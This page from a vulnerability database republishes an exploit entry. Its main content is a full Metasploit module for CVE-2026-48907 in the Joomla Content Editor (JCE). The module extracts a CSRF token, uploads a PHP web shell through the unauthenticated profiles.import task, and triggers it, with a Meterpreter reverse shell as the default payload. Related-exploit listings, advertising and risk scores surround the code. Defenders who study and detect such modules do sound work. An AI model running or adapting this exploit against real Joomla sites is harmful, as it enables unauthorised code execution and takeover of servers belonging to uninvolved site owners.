📄 Joomla Content Editor 2.9.99.4 Shell Upload
🗓️ 29 Jul 2026 00:00:00Reported by ispyispyispy, Uwe Flottemesch, David JardinType
packetstorm🔗 packetstorm.news👁 23 Views
| Reporter | Title | Published | Views | Family All 39 |
|---|---|---|---|---|
| Exploit for CVE-2026-48907 | 9 Jun 202616:30 | – | githubexploit | |
| COM_JCE_VANDA | 29 Jun 202611:00 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 22 Jun 202618:31 | – | githubexploit | |
| Exploit for CVE-2026-48907 | 11 Jun 202613:14 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 29 Jun 202606:36 | – | githubexploit | |
| Exploit for CVE-2026-48907 | 12 Jun 202609:22 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 27 Jun 202604:48 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 29 Jun 202621:14 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 1 Jul 202614:05 | – | githubexploit | |
| Exploit for Improper Access Control in Widgetfactorylimited Jce | 13 Jul 202613:23 | – | githubexploit |
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Joomla Content Editor Unauthenticated File Upload RCE',
'Description' => %q{
This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE
(Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce
authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell.
This results in remote code execution, provided that the tmp/ directory is not explicitly restricted.
JCE versions up to and including 2.9.99.4 are affected.
},
'License' => MSF_LICENSE,
'Author' => [
'ispyispyispy', # msf module
'David Jardin', # discovery
'Uwe Flottemesch' # discovery
],
'References' => [
['CVE', '2026-48907'],
['GHSA', 'c3f5-4g7f-qjqj'],
['URL', 'https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites']
],
'DisclosureDate' => '2026-06-05',
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
['Joomla Content Editor (Joomla!)', {}]
],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to Joomla!', '/']),
OptString.new('FILENAME', [false, 'The filename for the uploaded payload (default: random)'])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'components', 'com_jce', 'jce.php')
)
return CheckCode::Unknown('Could not connect to web service.') unless res
return CheckCode::Safe('JCE component does not appear to be installed.') unless res.code != 404
return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}.") unless res.code == 200
# We could also check with .php extension, but i'd rather not trigger anything by an accident.
filename = "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}#{['.jpg', '.png'].sample}"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tmp', filename)
)
return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403
version = extract_jce_version
return CheckCode::Detected('Exploit conditions are met. Target is likely vulnerable unless patched.') unless version
version = Rex::Version.new(version)
return CheckCode::Safe("JCE version #{version} detected.") unless version <= Rex::Version.new('2.9.99.4')
CheckCode::Appears("JCE version #{version} detected.")
end
def exploit
payload_filename = datastore['FILENAME'] || "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}.php"
fail_with(Failure::BadConfig, 'FILENAME must end with valid PHP file extension') unless payload_filename.match?(/\.(php[2-7]?|pht(?:ml)?)$/i)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'Could not connect to web service') unless res
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200
csrf_token = extract_csrf_token(res.body)
fail_with(Failure::UnexpectedReply, 'Failed to extract CSRF token') unless csrf_token
vprint_status("Extracted CSRF token: #{csrf_token}")
print_status("Uploading #{payload_filename}")
res = upload_profile(payload_filename, payload.encoded, csrf_token)
fail_with(Failure::Unreachable, 'No response received for the profile upload request') unless res
fail_with(Failure::UnexpectedReply, "Upload failed with HTTP response code: #{res.code}") unless res.code == 200
register_files_for_cleanup(payload_filename)
payload_uri = normalize_uri(target_uri.path, 'tmp', payload_filename)
print_status("Triggering #{payload_uri}")
send_request_cgi({ 'method' => 'GET', 'uri' => payload_uri }, 5)
end
def extract_jce_version
uri = normalize_uri(
target_uri.path, 'media', 'com_jce', 'editor', 'extensions',
'popups', 'jcemediabox', 'js', 'jcemediabox.js'
)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'vars_get' => { 'v' => Time.now.to_i } # cache buster
)
return unless res&.code == 200
match = res.body.match(/jce\s*-\s*([\d.]+)/)
match[1] if match
end
def extract_csrf_token(body)
match = body.match(/"csrf\.token"\s*:\s*"([a-f0-9]{32})"/)
return match[1] if match
match = body.match(/<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"/i)
match[1] if match
end
def upload_profile(filename, content, csrf_token)
mime = Rex::MIME::Message.new
mime.add_part(content, 'application/xml', 'binary', "form-data; name=\"profile_file\"; filename=\"#{filename}\"")
mime.add_part('profiles.import', nil, nil, 'form-data; name="task"')
mime.add_part('1', nil, nil, "form-data; name=\"#{csrf_token}\"")
data = mime.to_s
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'option' => 'com_jce' },
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => data
)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Jul 2026 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
CVSS 410
EPSS0.55914
SSVC